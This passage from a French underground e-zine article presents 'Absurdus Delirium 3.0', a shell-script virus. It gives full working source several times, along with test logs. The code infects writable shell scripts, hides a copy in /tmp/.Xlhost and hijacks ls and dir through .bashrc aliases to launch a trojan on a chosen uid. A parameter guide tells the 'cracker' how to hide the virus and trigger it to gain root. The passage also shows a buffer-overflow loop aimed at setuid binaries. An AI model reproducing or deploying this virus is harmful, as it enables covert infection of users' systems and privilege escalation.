apporte à notre virus une certaine discretion, qui lui permettras de ne pas ce faire reperer par le premier user venu. pour plus de detaille sur le coef de timebug, cf article1 VLSSI.txt pour tester celui si, nous allons faire comme avant, c'est à dire que nous allons constituer un repertoire de test qui comporteras 500 scripts, puis nous allons tenter une infection. si celle ci dur dans les environs de 3 secondes, nous pourrons alors en conclure que la fonction de timebug a correctement remplis son rôle. [user@ThreaT test]$ cd .. [user@ThreaT user]$ md test2 [user@ThreaT test]$ cd test2 [user@ThreaT test2]$ cp ~user/sgen.sh ./ [user@ThreaT test2]$ ./sgen.sh nombre de script innocent a generer : 500 [user@ThreaT test2]$ cp ~user/virii.sh ./ [user@ThreaT test2]$ time ./virii.sh Virus SSI 30 By ThreaT & Bite_Rouge. 2.32user 1.28system 0:03.59elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (33700major+28475minor)pagefaults 0swaps le scan, suivit de l'infection a quand même durer 3 secondes et 59 dixiemes pour nos 500 fichiers. à vous de determiner si ce temps est acceptable ou pas en modifient le coef de timebug en concequence. E - dir stealth exportation ########################## ########################## la dir stealth exportation est la fonction qui va assurer à notre virus une infection total du système de fichier pour l'utilisateur touché. afin de determiner si celle ci est parfaitement operationelle, créons un 3eme repertoire de test, puis listons celui ci si le virus procede à l'infection pendent ce processus, alors la fonction a correctement remplis son rôle. [user@ThreaT test2]$ cd .. [user@ThreaT user]$ md test3 [user@ThreaT user]$ cd test3 [user@ThreaT test3]$ cp ~user/sgen.sh ./ [user@ThreaT test3]$ ./sgen.sh nombre de script innocent a generer : 20 [user@ThreaT test3]$ ls -l Virus SSI 3.0 By ThreaT & Bite_Rouge. total 88 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent -rwxr-xr-x 1 user user 676 May 1 20:57 innocent1 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent10 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent11 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent12 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent13 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent14 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent15 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent16 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent17 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent18 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent19 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent2 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent20 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent3 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent4 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent5 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent6 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent7 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent8 -rwxr-xr-x 1 user user 676 May 1 20:57 innocent9 -rwxr-xr-x 1 user user 279 May 1 20:57 sgen.sh [user@ThreaT test3]$ ./innocent Virus SSI 3.0 By ThreaT & Bite_Rouge. je suis un script innocent [user@ThreaT test3]$ cat innocent #!/bin/sh echo "Virus SSI 3.0 By ThreaT & Bite_Rouge." b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 14 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $v|grep "shell">>/dev/null;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n 14 $0>$v;cat /tmp/t>>$v;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 0 ];then echo "Trojan code executed with id `id -u`, `id -u -n` is infected";fi #!/bin/sh echo "je suis un script innocent" [user@ThreaT test3]$ tout est parfaitement OK! F - trojan execution ######################## ######################## Voici la partie la plus interressante de notre virus! l'execution du code trojan. dans ce test, nous allons allez modifier notre fichier temporaire, placer dans /tmp/.Xlhost, pour lui indiquer en gachette qu'il faut lancer le code trojan lorsque notre uid utilisateur lanceras la commande ls ou dir. ainsi, nous pourons voir ci cette fonction est parfaitement operationelle. etape 1, connaitre notre uid :) [user@ThreaT test3]$ id uid=501(user) gid=503(user) groups=503(user),22(cdrom),81(audio),105(urpmi),502(xgrp) ok, notre uid est 501. bon, allons maintenant regler notre gachette [user@ThreaT test3]$ vi /tmp/.Xlhost #!/bin/sh echo "Virus SSI 3.0 By ThreaT & Bite_Rouge." b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 14 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $v|grep "shell">>/dev/null;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n 14 $0>$v;cat /tmp/t>>$v;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 501 ];then <--- on met l'uid 501, pour que ce soit user qui ce face baiser ;) echo "Trojan code executed with id `id -u`, `id -u -n` is infected";fi ls $* <:wq!> [user@ThreaT test3]$ hop, maintenant on fait un dir, ou un ls (c'est pareil), et on regarde si le trojan s'execute [user@ThreaT test3]$ dir Virus SSI 3.0 By ThreaT & Bite_Rouge. Trojan code executed with id 501, user is infected <-- yesss innocent innocent1 innocent10 innocent11 innocent12 innocent13 innocent14 innocent15 innocent16 innocent17 innocent18 innocent19 innocent2 innocent20 innocent3 innocent4 innocent5 innocent6 innocent7 innocent8 innocent9 sgen.sh [user@ThreaT test3]$ tip top! on peut voir dans cet exemple que le code trojan c'est parfaitement declancé à l'appelle de la commande de listage invoqué par notre user. maintenant que nous avons vue que ce nouveau virus est parfaitement operationnel pour une attaque d'envergure, passons à la rigolade. Bonus: Le lab betisier. ######################## ######################## pour repondre à notre amis bite rouge sur ceci, ---------------------------------------------------------- Mais bon, je doute quand meme de la reelle efficacite d'un tel code, car un vrai root pondra un petit code en C, qui lui sera compilé, donc plus difficilement attaquable. ---------------------------------------------------------- je vais vous faire part d'une petite anecdote qui m'est arrivée avec absurdus delirium 3.0. ...................................................................................................................... Maverick m'avait demander de lui filer nbtscan. le problème, c'est que je devais le repaquager, car je n'avait plus le tar. bon, par curiositée, je jete un oeil dans le ./configure. comme je l'avais pressenti, mon utilisateur de test l'avait infecté... pas grave, pour ne pas veroler maverick (ben oui, entre pote, sa sfait pas ;), je me suis dit que j'allait me taper l'effacement du code viral pour les 5 scripts infectés, à la main... seulement voila, quand une modification à un fichier est apporter, KDE crée un fichier de sauvegarde du fichier en question suivie d'un ~, exemple ./configure~ donc, je me suis retrouvé avec les 5 fichiers backup. hop, pas grave, je les selectionnes avec et je les effaces, boom. je package, j'envoi sa, impecable... jusque la, tout est normal. je continue mon micmac en me promenant dans les repertoires, voir si y'a pas un fichier suid, qui ne devrait pas y etre ;) quand soudain, quelque chose retient mon attention... je me rend compte d'un coup, que normalement mon profile est configuré en ls color, c'est à dir que quand je liste un repertoire, les executables sont en vert, les repertoires en bleu, etc... et la, rien, c'est tout gris. etant habitué à naviguer avec dir, je ne m'était pas rendu compte de ce si peut de coloriter. la, je me dit, naaann, c'est pas possible, me dit pas qu'il est passé!! [root@ThreaT /root]# cat .bashrc | grep "Xlhost" alias ls='/tmp/Xlhost' [root@ThreaT /root]# oups [root@ThreaT /root]# alias alias cd..='cd ..' alias cp='cp -i' alias d='ls' alias df='df -h -x supermount' alias dir='ls' alias du='du -h' alias l='ls' alias la='ls -A -k' alias ll='ls -l' alias ls='/tmp/.Xlhost' alias lsd='ls -d */' alias md='mkdir' alias mv='mv -i' alias p='cd -' alias rd='rmdir' alias rm='rm -i' alias s='cd ..' [root@ThreaT /root]# et galère et merde ou meeeeeeeerde il a pas infecté les scripts que j'ai fait dans /root j'espere?? [root@ThreaT /root]#cat ./overscan #!/bin/sh b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 13 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for f in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $f|grep "shell">>/dev/null;then if grep "AbD2bT" $f>/dev/null;then continue;fi;if [ -w $f ];then cat $f>/tmp/t && head -n 13 $0>$f;cat /tmp/t>>$f;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 0 ];then :;fi #!/bin/sh fichier=`grep "/" /root/suid.txt` for file in $fichier; do echo "essaie d'overflow sur $file" $file `perl -e 'print "A" x 3000'` echo "appyuer sur une touche..." read b done et meeeeeeeeeeeeeerrrrrrddddee!!! je me suis fait baiser jusqu'a l'os!! Mais que c'est il passé?? voila, quand tu modifie un fichier, KDE te crée un backup qui garde les mêmes droits que le fichier modifié (comme les droits d'execution par exemple) et sous KDE, un simple click gauche suffit pour executer un bit exec, ce qui veut dire que quand j'ai procedé à la selection via + click gauche, ben les fichiers backup ce sont executés, et bien sur, on ne voit rien (vue que ce sont des scripts shell) la conscequence de ceci, est que mon profile a été modifié, le tampon a été crée dans le /tmp, et tout les scripts que je possedais dans mon home directorie sont passés à la casserole :( et tout sa, sous mon nez ::(( conclusion, 1/4h pour trouver tout les scripts infecter sur le système, et leur virer le code viral. mais le plus marrant, c'est pas sa, le plus marrant, c'est que j'ai voulu le refaire par KDE, et que je me suis refait baiser!! aarg. du coup, je me suis resilier à desinfecter avec vi. \\0X05// PARAMETRAGE @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ recapitulons brievement les differents parametrages avec lesquels le cracker peut jouer. a - variable b b - charge viral c - coeficient de timebug d - gachette e - trojan ou son placer tout ces elements? ############################# ############################# ------------------------- #!/bin/sh echo "Virus SSI 3.0 By ThreaT & Bite_Rouge." b="/tmp/.Xlhost";if [ ! -f $b ];then <---- variable b head -n 14 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then <-- charge viral if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for v in *;do if [ $a -ge 100 ];then <----- coeficient de timebug break;fi;a=$(($a+1));if file $v|grep "shell">>/dev/null;then if grep "AbD2bT" $v>/dev/null;then continue;fi;if [ -w $v ];then cat $v>/tmp/t && head -n 14 $0>$v;cat /tmp/t>>$v;fi;fi;done <---- charge viral rm -f /tmp/t;if [ "`id -u`" = 0 ];then <---- gachette echo "Trojan code executed with id `id -u`, `id -u -n` is infected";fi <--- trojan --------------------------- a/ La variable b //////////////////////////////////////////////// la varible b (b="/tmp/.Xlhost") est la variable qui indique le nom et l'emplacement du fichier temporaire que va utiliser notre virus pour mettre en oeuvre sont pseudo residency. lors de la configuration de ce parametre, prener bien garde à placer le fichier dans un repertoire accessible a tous les utilisateurs du système (/tmp), nommé le d'un d'un nom pas trop provocateur (/tmp/virus), et metté le en caché, pour être sur que les neuneuz ne viendrons pas fouiller dedans. surtout, rappellez vous bien ou et comment ce fichier et nommé, car c'est par lui que vous devrez passé pour modifier le code trojan, afin qu'il soit lancé par un uid victime approprié. b/ La charge viral //////////////////////////////////////////////// la charge viral (à renseigner dans le parametre head -n) est le nombre de ligne que comporte votre virus, trojan compris. à modifier à 2 endroits, ce parametre vous seras bien util pour assurer la parfaite exportabilitée de votre code troajan. donc, mieux vaut pensé à le modifier si vous rajouté des lignes supplemantaires. c/ Le coeficient de timebug //////////////////////////////////////////////// le coeficient de timebug (if [ $a -ge 100 <-- ce nombre ]) est un nombre qui va ordonner à la fonction d'infection, de ne proceder à la verification que sur un certain nombre de fichier. ceci est crutial, car cela vous évites un bug qui mettras vraiment en danger votre virus, dut au temp que celui ci mettrais pour lister un repertoire. c'est à vous de voir si une valeur de 100 fichiers (qui correspond à environ 3 secondes de scan+infection) est acceptable ou non. d/ La gachette //////////////////////////////////////////////// la gachette (if [ "`id -u`" = 0 ];then) est la condition qui doit être requise pour que votre code trojan soit executer. cela peut aller de l'utilisateur en particulier, jusqu'a un evenement predefini, comme une date, un commande, un nom special ou un repertoire courant donner. c'est à vous de controler ce parametre, et de choisir quel sera la meilleur situation grace laquelle vous pourrez tirer un maximum de profit pour passer rOOt! e/ Le code trojan //////////////////////////////////////////// cerise sur le gâteau, c'est grace à ce code que vous manipulerez tout les uid infectés. pouvant être predeterminé lors du depart de votre infection, ou coder directement dans le fichier definit dans la variable b, le code trojan est à elaborer avec beaucoup de soin, et d'ingeniosité. prener bien garde a ce que celui si ne detriuse rien sur le system, et effectue des actions discrete, et sans bruit. pour le reste, il suffit de faire confiance à votre esprit malin. \\0x05// CONCLUSION @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ je ne sais pas pour vous, mais moi, ce que je trouve le plus dur quand j'ecrit, c'est pas le disclaimer, mais c'est la conclusion. deja à l'ecole, dans les redactions, je faisais une intro simpas, un developpement interminable, et une conclusion pourrie. avec les filles, pareil, j'accroche, je developpe, mais des que j'arrive au moment de conclure, je suis tout bloqué. donc, je vais essayé de conclure correctement cette fois si. donc, en conclusion... ben je dirais que cet article est un bel exemple de solidarité entre gens de la scene underground. apperement, le faite d'ecrire un article independant qui ne revandique l'appartenance à aucune crew, libere les esprits creatifs et engendre des suites de projets non negligeable. en esperant que beaucoup suivront cet exemple, je vous laisse sur la FIN. \\0X06// FIN @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ Voila, cet article est fini. merci de rester tolerant pour mon orthographe, j'essaye de faire des efforts... comme d'habitude, si vous avez des idées, des suggestions, des remarques, une belle paires de gambettes, ou tout autres choses que vous jugez interressantes, vous pouvez m' écrire à ThreaT@Caramail.com. GreaTz To: Bite_Rouge, Maverick, MaX, angus, DreaD, ShanK, cox, analyst, thalis, cd13h, marlin, alexCr@zy, DamsKiller, cuicui, bart, baleine, titi(fto), ben, canard, kabaal, vince, scal, jarod, oras, moumou, shadowrom, kawouito, alv1, amin, pastis, cain & 6, bolliop, massilia, Greatz to Lyon, ville de mon enfance & Strasbourg, ville de ma delivrance. Greatz à tout les artisans underground de l'ombre qui, tel un professeur de petite ecole, savent pertinament qu'il ne rentrerons jamais dans le pantheon des grands philosophes, mais vivent avec la satisfaction d'avoir permit aux autres, de poser un pied sur le territoire de la connaissance. car comme disait mon vieux père: tu sais fils, l'homme qui à planté un arbre n'a pas totalemment raté sa vie... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ #############################~ Computer can change your life for better ~########################### /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Petit clein d'oeil a l'administrateur de spafrance.org ;-) ---------------------------------------------------------------------------------------------------------- Annexe 1: BourneShell Code de Absurdus Delirium 3.0 By ThreaT & Bite_Rouge (taille: 516 bytes) ---------------------------------------------------------------------------------------------------------- ############################################################################ ############################################################################ ############################################################################ ABSURDUS DELIRIUM V 3.0, By ThreaT & Bite_Rouge ############################################################################ ############################################################################ ############################################################################ ---------------------------------------------------------------------- #!/bin/sh b="/tmp/.Xlhost";if [ ! -f $b ];then head -n 13 $0>$b;echo "ls \$*">>$b;chmod 777 $b;fi;if [ -w ~/.bashrc ];then if ! `grep "$b" ~/.bashrc>/dev/null`;then echo "alias ls='$b'">> ~/.bashrc echo "alias dir='ls'">> ~/.bashrc;fi;fi;a=1;for f in *;do if [ $a -ge 100 ];then break;fi;a=$(($a+1));if file $f|grep "shell">>/dev/null;then if grep "AbD2bT" $f>/dev/null;then continue;fi;if [ -w $f ];then cat $f>/tmp/t && head -n 13 $0>$f;cat /tmp/t>>$f;fi;fi;done rm -f /tmp/t;if [ "`id -u`" = 0 ];then :;fi ----------------------------------------------------------------------- ########################################################################### ########################################################################### ########################################################################### Comme d'habitude, le trojan a été retiré du code, pour laisser au cracker le choix de sa technique.